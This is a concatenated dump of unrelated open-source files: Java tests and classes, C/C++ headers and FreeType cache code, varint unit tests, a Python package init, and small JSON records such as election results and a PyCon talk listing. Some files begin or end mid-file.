AtomicReference<String> actualKey = new AtomicReference<>();
AtomicReference<String> actualValue = new AtomicReference<>();
metadataStore.addListener(new MetadataStoreListenerAdapter() {
@Override
public void onAdd(String key, String value) {
actualKey.set(key);
actualValue.set(value);
latch.countDown();
}
});
metadataStore.put(testKey, testValue);
latch.await(10, TimeUnit.SECONDS);
assertThat(actualKey.get()).isEqualTo(testKey);
assertThat(actualValue.get()).isEqualTo(testValue);
}
@Test
public void testRemove() throws InterruptedException {
String testKey = "key";
String testValue = "value";
CountDownLatch latch = new CountDownLatch(1);
AtomicReference<String> actualKey = new AtomicReference<>();
AtomicReference<String> actualValue = new AtomicReference<>();
metadataStore.addListener(new MetadataStoreListenerAdapter() {
@Override
public void onRemove(String key, String oldValue) {
actualKey.set(key);
actualValue.set(oldValue);
latch.countDown();
}
});
metadataStore.put(testKey, testValue);
metadataStore.remove(testKey);
latch.await(10, TimeUnit.SECONDS);
assertThat(actualKey.get()).isEqualTo(testKey);
assertThat(actualValue.get()).isEqualTo(testValue);
}
@Test
public void testUpdate() throws InterruptedException {
String testKey = "key";
String testValue = "value";
String testNewValue = "new-value";
CountDownLatch latch = new CountDownLatch(1);
AtomicReference<String> actualKey = new AtomicReference<>();
AtomicReference<String> actualValue = new AtomicReference<>();
metadataStore.addListener(new MetadataStoreListenerAdapter() {
@Override
public void onUpdate(String key, String newValue) {
actualKey.set(key);
actualValue.set(newValue);
latch.countDown();
}
});
metadataStore.put(testKey, testValue);
metadataStore.put(testKey, testNewValue);
latch.await(10, TimeUnit.SECONDS);
assertThat(actualKey.get()).isEqualTo(testKey);
assertThat(actualValue.get()).isEqualTo(testNewValue);
}
}
| 1,402 |
627 | <reponame>junaruga/EmbeddedController
/* Copyright 2020 The Chromium OS Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
/* Mock of Device Policy Manager implementation */
#ifndef __MOCK_USB_PD_DPM_MOCK_H
#define __MOCK_USB_PD_DPM_MOCK_H
#include "common.h"
#include "usb_pd_dpm.h"
/* Defaults should all be 0 values. */
struct mock_dpm_port_t {
bool mode_entry_done;
bool mode_exit_request;
};
extern struct mock_dpm_port_t dpm[CONFIG_USB_PD_PORT_MAX_COUNT];
void mock_dpm_reset(void);
#endif /* __MOCK_USB_PD_DPM_MOCK_H */
| 233 |
450 | <reponame>ericoporto/ags-old
/***************************************************************************/
/* */
/* ftccmap.c */
/* */
/* FreeType CharMap cache (body) */
/* */
/* Copyright 2000-2001, 2002 by */
/* <NAME>, <NAME>, and <NAME>. */
/* */
/* This file is part of the FreeType project, and may only be used, */
/* modified, and distributed under the terms of the FreeType project */
/* license, LICENSE.TXT. By continuing to use, modify, or distribute */
/* this file you indicate that you have read the license and */
/* understand and accept it fully. */
/* */
/***************************************************************************/
#include <ft2build.h>
#include FT_FREETYPE_H
#include FT_CACHE_H
#include FT_CACHE_CHARMAP_H
#include FT_CACHE_MANAGER_H
#include FT_INTERNAL_MEMORY_H
#include FT_INTERNAL_DEBUG_H
#include "ftcerror.h"
/*************************************************************************/
/* */
/* Each FTC_CMapNode contains a simple array to map a range of character */
/* codes to equivalent glyph indices. */
/* */
/* For now, the implementation is very basic: Each node maps a range of */
/* 128 consecutive character codes to their corresponding glyph indices. */
/* */
/* We could do more complex things, but I don't think it is really very */
/* useful. */
/* */
/*************************************************************************/
/* number of glyph indices / character code per node */
#define FTC_CMAP_INDICES_MAX 128
typedef struct FTC_CMapNodeRec_
{
FTC_NodeRec node;
FT_UInt32 first; /* first character in node */
FT_UInt16 indices[FTC_CMAP_INDICES_MAX]; /* array of glyph indices */
} FTC_CMapNodeRec, *FTC_CMapNode;
#define FTC_CMAP_NODE( x ) ( (FTC_CMapNode)( x ) )
/* compute node hash value from cmap family and "requested" glyph index */
#define FTC_CMAP_HASH( cfam, cquery ) \
( (cfam)->hash + ( (cquery)->char_code / FTC_CMAP_INDICES_MAX ) )
/* if (indices[n] == FTC_CMAP_UNKNOWN), we assume that the corresponding */
/* glyph indices haven't been queried through FT_Get_Glyph_Index() yet */
#define FTC_CMAP_UNKNOWN ( (FT_UInt16)-1 )
/* the charmap query */
typedef struct FTC_CMapQueryRec_
{
FTC_QueryRec query;
FTC_CMapDesc desc;
FT_UInt32 char_code;
} FTC_CMapQueryRec, *FTC_CMapQuery;
#define FTC_CMAP_QUERY( x ) ( (FTC_CMapQuery)( x ) )
/* the charmap family */
typedef struct FTC_CMapFamilyRec_
{
FTC_FamilyRec family;
FT_UInt32 hash;
FTC_CMapDescRec desc;
FT_UInt index;
} FTC_CMapFamilyRec, *FTC_CMapFamily;
#define FTC_CMAP_FAMILY( x ) ( (FTC_CMapFamily)( x ) )
#define FTC_CMAP_FAMILY_MEMORY( x ) FTC_FAMILY( x )->memory
/*************************************************************************/
/*************************************************************************/
/***** *****/
/***** CHARMAP NODES *****/
/***** *****/
/*************************************************************************/
/*************************************************************************/
/* no need for specific finalizer; we use "ftc_node_done" directly */
/* initialize a new cmap node */
FT_CALLBACK_DEF( FT_Error )
ftc_cmap_node_init( FTC_CMapNode cnode,
FTC_CMapQuery cquery,
FTC_Cache cache )
{
FT_UInt32 first;
FT_UInt n;
FT_UNUSED( cache );
first = ( cquery->char_code / FTC_CMAP_INDICES_MAX ) *
FTC_CMAP_INDICES_MAX;
cnode->first = first;
for ( n = 0; n < FTC_CMAP_INDICES_MAX; n++ )
cnode->indices[n] = FTC_CMAP_UNKNOWN;
return 0;
}
/* compute the weight of a given cmap node */
FT_CALLBACK_DEF( FT_ULong )
ftc_cmap_node_weight( FTC_CMapNode cnode )
{
FT_UNUSED( cnode );
return sizeof ( *cnode );
}
/* compare a cmap node to a given query */
FT_CALLBACK_DEF( FT_Bool )
ftc_cmap_node_compare( FTC_CMapNode cnode,
FTC_CMapQuery cquery )
{
FT_UInt32 offset = (FT_UInt32)( cquery->char_code - cnode->first );
return FT_BOOL( offset < FTC_CMAP_INDICES_MAX );
}
/*************************************************************************/
/*************************************************************************/
/***** *****/
/***** CHARMAP FAMILY *****/
/***** *****/
/*************************************************************************/
/*************************************************************************/
FT_CALLBACK_DEF( FT_Error )
ftc_cmap_family_init( FTC_CMapFamily cfam,
FTC_CMapQuery cquery,
FTC_Cache cache )
{
FTC_Manager manager = cache->manager;
FTC_CMapDesc desc = cquery->desc;
FT_UInt32 hash = 0;
FT_Error error;
FT_Face face;
/* setup charmap descriptor */
cfam->desc = *desc;
/* let's see whether the rest is correct too */
error = FTC_Manager_Lookup_Face( manager, desc->face_id, &face );
if ( !error )
{
FT_UInt count = face->num_charmaps;
FT_UInt idx = count;
FT_CharMap* cur = face->charmaps;
switch ( desc->type )
{
case FTC_CMAP_BY_INDEX:
idx = desc->u.index;
hash = idx * 33;
break;
case FTC_CMAP_BY_ENCODING:
for ( idx = 0; idx < count; idx++, cur++ )
if ( cur[0]->encoding == desc->u.encoding )
break;
hash = idx * 67;
break;
case FTC_CMAP_BY_ID:
for ( idx = 0; idx < count; idx++, cur++ )
{
if ( (FT_UInt)cur[0]->platform_id == desc->u.id.platform &&
(FT_UInt)cur[0]->encoding_id == desc->u.id.encoding )
{
hash = ( ( desc->u.id.platform << 8 ) | desc->u.id.encoding ) * 7;
break;
}
}
break;
default:
;
}
if ( idx >= count )
goto Bad_Descriptor;
/* compute hash value, both in family and query */
cfam->index = idx;
cfam->hash = hash ^ FTC_FACE_ID_HASH( desc->face_id );
FTC_QUERY( cquery )->hash = FTC_CMAP_HASH( cfam, cquery );
error = ftc_family_init( FTC_FAMILY( cfam ),
FTC_QUERY( cquery ), cache );
}
return error;
Bad_Descriptor:
FT_ERROR(( "ftp_cmap_family_init: invalid charmap descriptor\n" ));
return FTC_Err_Invalid_Argument;
}
FT_CALLBACK_DEF( FT_Bool )
ftc_cmap_family_compare( FTC_CMapFamily cfam,
FTC_CMapQuery cquery )
{
FT_Int result = 0;
/* first, compare face id and type */
if ( cfam->desc.face_id != cquery->desc->face_id ||
cfam->desc.type != cquery->desc->type )
goto Exit;
switch ( cfam->desc.type )
{
case FTC_CMAP_BY_INDEX:
result = ( cfam->desc.u.index == cquery->desc->u.index );
break;
case FTC_CMAP_BY_ENCODING:
result = ( cfam->desc.u.encoding == cquery->desc->u.encoding );
break;
case FTC_CMAP_BY_ID:
result = ( cfam->desc.u.id.platform == cquery->desc->u.id.platform &&
cfam->desc.u.id.encoding == cquery->desc->u.id.encoding );
break;
default:
;
}
if ( result )
{
/* when found, update the 'family' and 'hash' field of the query */
FTC_QUERY( cquery )->family = FTC_FAMILY( cfam );
FTC_QUERY( cquery )->hash = FTC_CMAP_HASH( cfam, cquery );
}
Exit:
return FT_BOOL( result );
}
/*************************************************************************/
/*************************************************************************/
/***** *****/
/***** GLYPH IMAGE CACHE *****/
/***** *****/
/*************************************************************************/
/*************************************************************************/
FT_CALLBACK_TABLE_DEF
const FTC_Cache_ClassRec ftc_cmap_cache_class =
{
sizeof ( FTC_CacheRec ),
(FTC_Cache_InitFunc) ftc_cache_init,
(FTC_Cache_ClearFunc)ftc_cache_clear,
(FTC_Cache_DoneFunc) ftc_cache_done,
sizeof ( FTC_CMapFamilyRec ),
(FTC_Family_InitFunc) ftc_cmap_family_init,
(FTC_Family_CompareFunc)ftc_cmap_family_compare,
(FTC_Family_DoneFunc) ftc_family_done,
sizeof ( FTC_CMapNodeRec ),
(FTC_Node_InitFunc) ftc_cmap_node_init,
(FTC_Node_WeightFunc) ftc_cmap_node_weight,
(FTC_Node_CompareFunc)ftc_cmap_node_compare,
(FTC_Node_DoneFunc) ftc_node_done
};
/* documentation is in ftccmap.h */
FT_EXPORT_DEF( FT_Error )
FTC_CMapCache_New( FTC_Manager manager,
FTC_CMapCache *acache )
{
return FTC_Manager_Register_Cache(
manager,
(FTC_Cache_Class)&ftc_cmap_cache_class,
FTC_CACHE_P( acache ) );
}
#ifdef FTC_CACHE_USE_INLINE
#define GEN_CACHE_FAMILY_COMPARE( f, q, c ) \
ftc_cmap_family_compare( (FTC_CMapFamily)(f), (FTC_CMapQuery)(q) )
#define GEN_CACHE_NODE_COMPARE( n, q, c ) \
ftc_cmap_node_compare( (FTC_CMapNode)(n), (FTC_CMapQuery)(q) )
#define GEN_CACHE_LOOKUP ftc_cmap_cache_lookup
#include "ftccache.i"
#else /* !FTC_CACHE_USE_INLINE */
#define ftc_cmap_cache_lookup ftc_cache_lookup
#endif /* !FTC_CACHE_USE_INLINE */
/* documentation is in ftccmap.h */
FT_EXPORT_DEF( FT_UInt )
FTC_CMapCache_Lookup( FTC_CMapCache cache,
FTC_CMapDesc desc,
FT_UInt32 char_code )
{
FTC_CMapQueryRec cquery;
FTC_CMapNode node;
FT_Error error;
FT_UInt gindex = 0;
if ( !cache || !desc )
{
FT_ERROR(( "FTC_CMapCache_Lookup: bad arguments, returning 0!\n" ));
return 0;
}
cquery.desc = desc;
cquery.char_code = char_code;
error = ftc_cmap_cache_lookup( FTC_CACHE( cache ),
FTC_QUERY( &cquery ),
(FTC_Node*)&node );
if ( !error )
{
FT_UInt offset = (FT_UInt)( char_code - node->first );
FT_ASSERT( offset < FTC_CMAP_INDICES_MAX );
gindex = node->indices[offset];
if ( gindex == FTC_CMAP_UNKNOWN )
{
FT_Face face;
/* we need to use FT_Get_Char_Index */
gindex = 0;
error = FTC_Manager_Lookup_Face( FTC_CACHE(cache)->manager,
desc->face_id,
&face );
if ( !error )
{
FT_CharMap old, cmap = NULL;
FT_UInt cmap_index;
/* save old charmap, select new one */
old = face->charmap;
cmap_index = FTC_CMAP_FAMILY( FTC_QUERY( &cquery )->family )->index;
cmap = face->charmaps[cmap_index];
FT_Set_Charmap( face, cmap );
/* perform lookup */
gindex = FT_Get_Char_Index( face, char_code );
node->indices[offset] = (FT_UInt16)gindex;
/* restore old charmap */
FT_Set_Charmap( face, old );
}
}
}
return gindex;
}
/* END */
| 6,513 |
914 | <filename>src/main/java/com/google/devrel/gmscore/tools/apk/arsc/XmlNamespaceChunk.java
package com.google.devrel.gmscore.tools.apk.arsc;
import java.io.DataOutput;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Locale;
import javax.annotation.Nullable;
/** Represents the start/end of a namespace in an XML document. */
public abstract class XmlNamespaceChunk extends XmlNodeChunk {
/** A string reference to the namespace prefix. */
private final int prefix;
/** A string reference to the namespace URI. */
private final int uri;
protected XmlNamespaceChunk(ByteBuffer buffer, @Nullable Chunk parent) {
super(buffer, parent);
prefix = buffer.getInt();
uri = buffer.getInt();
}
/** Returns the namespace prefix. */
public String getPrefix() {
return getString(prefix);
}
/** Returns the namespace URI. */
public String getUri() {
return getString(uri);
}
@Override
protected void writePayload(DataOutput output, ByteBuffer header, int options)
throws IOException {
super.writePayload(output, header, options);
output.writeInt(prefix);
output.writeInt(uri);
}
/**
* Returns a brief description of this namespace chunk. The representation of this information is
* subject to change, but below is a typical example:
*
* <pre>
* "XmlNamespaceChunk{line=1234, comment=My awesome comment., prefix=foo, uri=com.google.foo}"
* </pre>
*/
@Override
public String toString() {
return String.format(
Locale.US,
"XmlNamespaceChunk{line=%d, comment=%s, prefix=%s, uri=%s}",
getLineNumber(),
getComment(),
getPrefix(),
getUri());
}
}
| 595 |
668 | <gh_stars>100-1000
package com.tal.wangxiao.conan.common.model.query;
import com.tal.wangxiao.conan.common.entity.db.ScheduleExecution;
import lombok.Builder;
import lombok.Data;
import lombok.EqualsAndHashCode;
import org.springframework.data.jpa.domain.Specification;
import javax.persistence.criteria.Predicate;
import java.util.ArrayList;
import java.util.List;
/**
* 定时任务查询
*
* @author liujinsong
*/
@Data
@Builder
@EqualsAndHashCode(callSuper = false)
public class ScheduleExecutionQuery extends BaseQuery<ScheduleExecution> {
@QueryWord
private Integer taskScheduleId;
@Override
public Specification<ScheduleExecution> toSpec() {
//所有条件用and连接
Specification<ScheduleExecution> spec = super.toSpecWithAnd();
return ((root, criteriaQuery, criteriaBuilder) -> {
List<Predicate> predicates = new ArrayList<>(20);
predicates.add(spec.toPredicate(root, criteriaQuery, criteriaBuilder));
return criteriaBuilder.and(predicates.toArray(new Predicate[predicates.size()]));
});
}
}
| 420 |
649 | <filename>serenity-core/src/main/java/net/thucydides/core/webdriver/capabilities/W3CCapabilities.java
package net.thucydides.core.webdriver.capabilities;
import net.serenitybdd.core.environment.EnvironmentSpecificConfiguration;
import net.thucydides.core.util.EnvironmentVariables;
import net.thucydides.core.webdriver.CapabilityValue;
import org.openqa.selenium.*;
import org.openqa.selenium.remote.DesiredCapabilities;
import java.util.Map;
import java.util.Properties;
public class W3CCapabilities {
private final EnvironmentVariables environmentVariables;
public W3CCapabilities(EnvironmentVariables environmentVariables) {
this.environmentVariables = environmentVariables;
}
public static W3CCapabilities definedIn(EnvironmentVariables environmentVariables) {
return new W3CCapabilities(environmentVariables);
}
public DesiredCapabilities withPrefix(String prefix) {
Properties w3cProperties = EnvironmentSpecificConfiguration.from(environmentVariables).getPropertiesWithPrefix(prefix);
String browser = w3cProperties.getProperty(prefix + "." + "browserName");
String version = w3cProperties.getProperty(prefix + "." + "browserVersion");
String platformName = w3cProperties.getProperty(prefix + "." + "platformName");
DesiredCapabilities capabilities = new DesiredCapabilities();
if (browser != null) {
capabilities.setBrowserName(browser);
}
if (version != null) {
capabilities.setVersion(version);
}
if (platformName != null) {
capabilities.setCapability("platformName", platformName);
try {
capabilities.setPlatform(Platform.fromString(platformName));
} catch (WebDriverException unknownPlatformValueSoLetsSetItAsAStringAndHopeForTheBest) {}
}
for(String propertyName : w3cProperties.stringPropertyNames()) {
String unprefixedPropertyName = unprefixed(prefix,propertyName);
Object propertyValue = CapabilityValue.asObject(w3cProperties.getProperty(propertyName));
capabilities.setCapability(unprefixedPropertyName, typedPropertyFrom(unprefixedPropertyName, propertyValue));
}
return capabilities;
}
private Object typedPropertyFrom(String propertyName, Object value) {
if (propertyName.equals("proxy") && value instanceof Map) {
return new Proxy((Map)value);
}
return value;
}
private String unprefixed(String prefix, String propertyName) {
return propertyName.replace(prefix + ".","");
}
}
| 925 |
440 | <gh_stars>100-1000
/*========================== begin_copyright_notice ============================
Copyright (C) 2017-2021 Intel Corporation
SPDX-License-Identifier: MIT
============================= end_copyright_notice ===========================*/
#ifndef TARGET_GENXGOTOJOIN_H
#define TARGET_GENXGOTOJOIN_H
namespace llvm {
class BasicBlock;
class CallInst;
class DominatorTree;
class Instruction;
class Value;
namespace genx {
// GotoJoin : class containing goto/join related utility functions
class GotoJoin {
public:
// isEMValue : detect whether a value is an EM (execution mask)
static bool isEMValue(Value *V);
// findJoin : given a goto, find the join whose RM it modifies
static CallInst *findJoin(CallInst *Goto);
// isValidJoin : check that the block containing a join is valid
static bool isValidJoin(CallInst *Join);
// isBranchingJoinLabelBlock : check whether a block has a single join and
// is both a join label and a branching join
static bool isBranchingJoinLabelBlock(BasicBlock *BB);
// getBranchingBlockForJoinLabel : if BB is "true" successor of branching
// block, return this branching block. If SkipCriticalEdgeSplitter is set,
// empty critical edge splitter blocks are skipped.
static BasicBlock *getBranchingBlockForBB(BasicBlock *BB,
bool SkipCriticalEdgeSplitter);
// isJoinLabel : see if the block is a join label
static bool isJoinLabel(BasicBlock *BB, bool SkipCriticalEdgeSplitter = false);
// isGotoBlock : see if a basic block is a goto block (hence branching), returning the goto if so
static CallInst *isGotoBlock(BasicBlock *BB);
// isBranchingJoinBlock : see if a basic block is a branching join block
static CallInst *isBranchingJoinBlock(BasicBlock *BB);
// isBranchingGotoJoinBlock : see if a basic block is a branching goto/join block
static CallInst *isBranchingGotoJoinBlock(BasicBlock *BB);
// getLegalInsertionPoint : ensure an insertion point is legal in the presence of SIMD CF
static Instruction *getLegalInsertionPoint(Instruction *InsertBefore, DominatorTree *DomTree);
};
} // End genx namespace
} // End llvm namespace
#endif
| 652 |
578 | <gh_stars>100-1000
"""
skfuzzy.filters : Subpackage for filtering data, e.g. with Fuzzy Inference by
Else-action (FIRE) filters to denoise 1d or 2d data.
"""
__all__ = ['fire1d',
'fire2d']
from .fire import fire1d, fire2d
| 101 |
511 | <filename>framework/src/media/PlayerWorker.h<gh_stars>100-1000
/* ****************************************************************
*
* Copyright 2018 Samsung Electronics All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************/
#ifndef __MEDIA_PLAYERWORKER_HPP
#define __MEDIA_PLAYERWORKER_HPP
#include <memory>
#include <media/MediaPlayer.h>
#include "MediaWorker.h"
namespace media {
class PlayerWorker : public MediaWorker
{
public:
static PlayerWorker &getWorker();
void setPlayer(std::shared_ptr<MediaPlayerImpl>);
std::shared_ptr<MediaPlayerImpl> getPlayer();
private:
PlayerWorker();
virtual ~PlayerWorker();
bool processLoop() override;
private:
std::shared_ptr<MediaPlayerImpl> mCurPlayer;
};
} // namespace media
#endif
| 368 |
777 | <reponame>google-ar/chromium<filename>components/startup_metric_utils/browser/startup_metric_utils.h
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_STARTUP_METRIC_UTILS_BROWSER_STARTUP_METRIC_UTILS_H_
#define COMPONENTS_STARTUP_METRIC_UTILS_BROWSER_STARTUP_METRIC_UTILS_H_
#include "base/time/time.h"
class PrefRegistrySimple;
class PrefService;
// Utility functions to support metric collection for browser startup. Timings
// should use TimeTicks whenever possible. OS-provided timings are still
// received as Time out of cross-platform support necessity but are converted to
// TimeTicks as soon as possible in an attempt to reduce the potential skew
// between the two basis. See crbug.com/544131 for reasoning.
namespace startup_metric_utils {
// Registers startup related prefs in |registry|.
void RegisterPrefs(PrefRegistrySimple* registry);
// Returns true if any UI other than the browser window has been displayed
// so far. Useful to test if UI has been displayed before the first browser
// window was shown, which would invalidate any surrounding timing metrics.
bool WasNonBrowserUIDisplayed();
// Call this when displaying UI that might potentially delay startup events.
//
// Note on usage: This function is idempotent and its overhead is low enough
// in comparison with UI display that it's OK to call it on every
// UI invocation regardless of whether the browser window has already
// been displayed or not.
void SetNonBrowserUIDisplayed();
// Call this with the creation time of the startup (initial/main) process.
void RecordStartupProcessCreationTime(const base::Time& time);
// Call this with a time recorded as early as possible in the startup process.
// On Android, the entry point time is the time at which the Java code starts.
// In Mojo, the entry point time is the time at which the shell starts.
void RecordMainEntryPointTime(const base::Time& time);
// Call this with the time when the executable is loaded and main() is entered.
// Can be different from |RecordMainEntryPointTime| when the startup process is
// contained in a separate dll, such as with chrome.exe / chrome.dll on Windows.
void RecordExeMainEntryPointTicks(const base::TimeTicks& time);
// Call this with the time recorded just before the message loop is started.
// |is_first_run| - is the current launch part of a first run. |pref_service| is
// used to store state for stats that span multiple startups.
void RecordBrowserMainMessageLoopStart(const base::TimeTicks& ticks,
bool is_first_run,
PrefService* pref_service);
// Call this with the time when the first browser window became visible.
void RecordBrowserWindowDisplay(const base::TimeTicks& ticks);
// Call this with the time delta that the browser spent opening its tabs.
void RecordBrowserOpenTabsDelta(const base::TimeDelta& delta);
// Call this with a renderer main entry time. The value provided for the first
// call to this function is used to compute
// Startup.LoadTime.BrowserMainToRendererMain. Further calls to this
// function are ignored.
void RecordRendererMainEntryTime(const base::TimeTicks& ticks);
// Call this with the time when the first web contents loaded its main frame,
// only if the first web contents was unimpended in its attempt to do so.
void RecordFirstWebContentsMainFrameLoad(const base::TimeTicks& ticks);
// Call this with the time when the first web contents had a non-empty paint,
// only if the first web contents was unimpended in its attempt to do so.
void RecordFirstWebContentsNonEmptyPaint(const base::TimeTicks& ticks);
// Call this with the time when the first web contents began navigating its main
// frame.
void RecordFirstWebContentsMainNavigationStart(const base::TimeTicks& ticks);
// Call this with the time when the first web contents successfully committed
// its navigation for the main frame.
void RecordFirstWebContentsMainNavigationFinished(const base::TimeTicks& ticks);
// Returns the TimeTicks corresponding to main entry as recorded by
// RecordMainEntryPointTime. Returns a null TimeTicks if a value has not been
// recorded yet. This method is expected to be called from the UI thread.
base::TimeTicks MainEntryPointTicks();
} // namespace startup_metric_utils
#endif // COMPONENTS_STARTUP_METRIC_UTILS_BROWSER_STARTUP_METRIC_UTILS_H_
| 1,238 |
4,879 | <filename>coding/coding_tests/varint_test.cpp
#include "coding/varint.hpp"
#include "testing/testing.hpp"
#include "coding/byte_stream.hpp"
#include "base/macros.hpp"
#include "base/stl_helpers.hpp"
#include <vector>
using namespace std;
namespace
{
template <typename T> void TestVarUint(T const x)
{
vector<unsigned char> data;
PushBackByteSink<vector<uint8_t>> dst(data);
WriteVarUint(dst, x);
ArrayByteSource src(&data[0]);
TEST_EQUAL(ReadVarUint<T>(src), x, ());
size_t const bytesRead = src.PtrUint8() - data.data();
TEST_EQUAL(bytesRead, data.size(), (x));
}
template <typename T> void TestVarInt(T const x)
{
vector<uint8_t> data;
PushBackByteSink<vector<uint8_t>> dst(data);
WriteVarInt(dst, x);
ArrayByteSource src(&data[0]);
TEST_EQUAL(ReadVarInt<T>(src), x, ());
size_t const bytesRead = src.PtrUint8() - data.data();
TEST_EQUAL(bytesRead, data.size(), (x));
}
}
UNIT_TEST(VarUint0)
{
// TestVarUint(static_cast<uint8_t>(0));
// TestVarUint(static_cast<uint16_t>(0));
TestVarUint(static_cast<uint32_t>(0));
TestVarUint(static_cast<uint64_t>(0));
}
UNIT_TEST(VarUintMinus1)
{
// TestVarUint(static_cast<uint8_t>(-1));
// TestVarUint(static_cast<uint16_t>(-1));
TestVarUint(static_cast<uint32_t>(-1));
TestVarUint(static_cast<uint64_t>(-1));
}
UNIT_TEST(VarUint32)
{
for (int b = 0; b <= 32; ++b)
for (uint64_t i = (1ULL << b) - 3; i <= uint32_t(-1) && i <= (1ULL << b) + 147; ++i)
TestVarUint(static_cast<uint32_t>(i));
}
UNIT_TEST(VarInt32)
{
for (int b = 0; b <= 32; ++b)
{
for (uint64_t i = (1ULL << b) - 3; i <= uint32_t(-1) && i <= (1ULL << b) + 147; ++i)
{
TestVarInt(static_cast<int32_t>(i));
TestVarInt(static_cast<int32_t>(-i));
}
}
int const bound = 10000;
for (int i = -bound; i <= bound; ++i)
TestVarInt(static_cast<int32_t>(i));
for (int i = 0; i <= bound; ++i)
TestVarUint(static_cast<uint32_t>(i));
}
UNIT_TEST(VarIntSize)
{
vector<unsigned char> data;
PushBackByteSink<vector<unsigned char>> dst(data);
WriteVarInt(dst, 60);
TEST_EQUAL(data.size(), 1, ());
data.clear();
WriteVarInt(dst, -60);
TEST_EQUAL(data.size(), 1, ());
data.clear();
WriteVarInt(dst, 120);
TEST_EQUAL(data.size(), 2, ());
data.clear();
WriteVarInt(dst, -120);
TEST_EQUAL(data.size(), 2, ());
}
UNIT_TEST(VarIntMax)
{
TestVarUint(uint32_t(-1));
TestVarUint(uint64_t(-1));
TestVarInt(int32_t(2147483647));
TestVarInt(int32_t(-2147483648LL));
TestVarInt(int64_t(9223372036854775807LL));
// TestVarInt(int64_t(-9223372036854775808LL));
}
UNIT_TEST(ReadVarInt64Array_EmptyArray)
{
vector<int64_t> result;
void const * pEnd = ReadVarInt64Array(NULL, (void *)0, base::MakeBackInsertFunctor(result));
TEST_EQUAL(result, vector<int64_t>(), ("UntilBufferEnd"));
TEST_EQUAL(reinterpret_cast<uintptr_t>(pEnd), 0, ("UntilBufferEnd"));
pEnd = ReadVarInt64Array(NULL, (size_t)0, base::MakeBackInsertFunctor(result));
TEST_EQUAL(result, vector<int64_t>(), ("GivenSize"));
TEST_EQUAL(reinterpret_cast<uintptr_t>(pEnd), 0, ("GivenSize"));
}
UNIT_TEST(ReadVarInt64Array)
{
vector<int64_t> values;
// Fill in values.
{
int64_t const baseValues [] =
{
0, 127, 128, (2 << 28) - 1, (2 << 28), (2LL << 31), (2LL << 31) - 1,
0xFFFFFFFF - 1, 0xFFFFFFFF, 0xFFFFFFFFFFULL
};
for (size_t i = 0; i < ARRAY_SIZE(baseValues); ++i)
{
values.push_back(baseValues[i]);
values.push_back(-baseValues[i]);
}
sort(values.begin(), values.end());
values.erase(unique(values.begin(), values.end()), values.end());
}
// Test all subsets.
for (size_t i = 1; i < 1U << values.size(); ++i)
{
vector<int64_t> testValues;
for (size_t j = 0; j < values.size(); ++j)
if (i & (1 << j))
testValues.push_back(values[j]);
vector<unsigned char> data;
{
PushBackByteSink<vector<unsigned char>> dst(data);
for (size_t j = 0; j < testValues.size(); ++j)
WriteVarInt(dst, testValues[j]);
}
ASSERT_GREATER(data.size(), 0, ());
{
// Factor out variables here to show the obvious compiler error.
// clang 3.5, loop optimization.
/// @todo Need to check with the new XCode (and clang) update.
void const * pDataStart = &data[0];
void const * pDataEnd = &data[0] + data.size();
vector<int64_t> result;
void const * pEnd = ReadVarInt64Array(pDataStart, pDataEnd,
base::MakeBackInsertFunctor(result));
TEST_EQUAL(pEnd, pDataEnd, ("UntilBufferEnd", data.size()));
TEST_EQUAL(result, testValues, ("UntilBufferEnd", data.size()));
}
{
vector<int64_t> result;
void const * pEnd = ReadVarInt64Array(&data[0], testValues.size(),
base::MakeBackInsertFunctor(result));
TEST_EQUAL(pEnd, &data[0] + data.size(), ("GivenSize", data.size()));
TEST_EQUAL(result, testValues, ("GivenSize", data.size()));
}
}
}
| 2,269 |
45,293 | public final class C /* C*/ implements Base {
public C();// .ctor()
public void foo();// foo()
} | 34 |
348 | <gh_stars>100-1000
{"nom":"Bourguignon-sous-Coucy","dpt":"Aisne","inscrits":68,"abs":14,"votants":54,"blancs":7,"nuls":2,"exp":45,"res":[{"panneau":"2","voix":31},{"panneau":"1","voix":14}]} | 86 |
4,098 | <filename>Source/ThirdParty/ik/include/ik/solver_FABRIK.h
#ifndef IK_SOLVER_FABRIK_H
#define IK_SOLVER_FABRIK_H
#include "ik/config.h"
#include "ik/ordered_vector.h"
#include "ik/solver.h"
C_HEADER_BEGIN
struct fabrik_t
{
SOLVER_DATA_HEAD
};
int
solver_FABRIK_construct(ik_solver_t* solver);
void
solver_FABRIK_destruct(ik_solver_t* solver);
int
solver_FABRIK_solve(ik_solver_t* solver);
C_HEADER_END
#endif /* IK_SOLVER_FABRIK_H */
| 222 |
435 | <gh_stars>100-1000
{
"copyright_text": null,
"description": "Dashboards are useful tools for data professionals from all levels and within different industries. From analysts who want to showcase the insights they have uncovered to researchers wanting to explain the results of their experiments, or developers wanting to outline the most important metrics stakeholders should pay attention to in their applications, these dashboards can help tell a story or, with a bit of interactivity, let the audience pick the story they\u2019d like to see. With this in mind, the goal of this tutorial is to help data professionals from diverse fields and at diverse levels tell stories through dashboards using data and Python.\n\nThe tutorial will emphasize both methodology and frameworks through a top-down approach. Several of the open source libraries included are bokeh, holoviews, and panel. In addition, the tutorial covers important concepts regarding data types, data structures, and data visualization and analysis. Lastly, participants will also learn concepts from the fields where the datasets came from and build a foundation on how to reverse engineer data visualizations they find in the wild.",
"duration": 13238,
"language": "eng",
"recorded": "2021-05-14",
"related_urls": [
{
"label": "Conference schedule",
"url": "https://us.pycon.org/2021/schedule/"
}
],
"speakers": [
"<NAME>"
],
"tags": [],
"thumbnail_url": "https://i.ytimg.com/vi_webp/MQr64LIfXo0/maxresdefault.webp",
"title": "Dashboards for All",
"videos": [
{
"type": "youtube",
"url": "https://www.youtube.com/watch?v=MQr64LIfXo0"
}
]
}
| 468 |
537 | package com.zx.sms.codec.cmpp.msg;
/**
*
* @author Lihuanghe(<EMAIL>)
*/
public class DefaultHeader implements Header {
private static final long serialVersionUID = -3059342529838994125L;
private long headLength;
private long packetLength;
private long bodyLength;
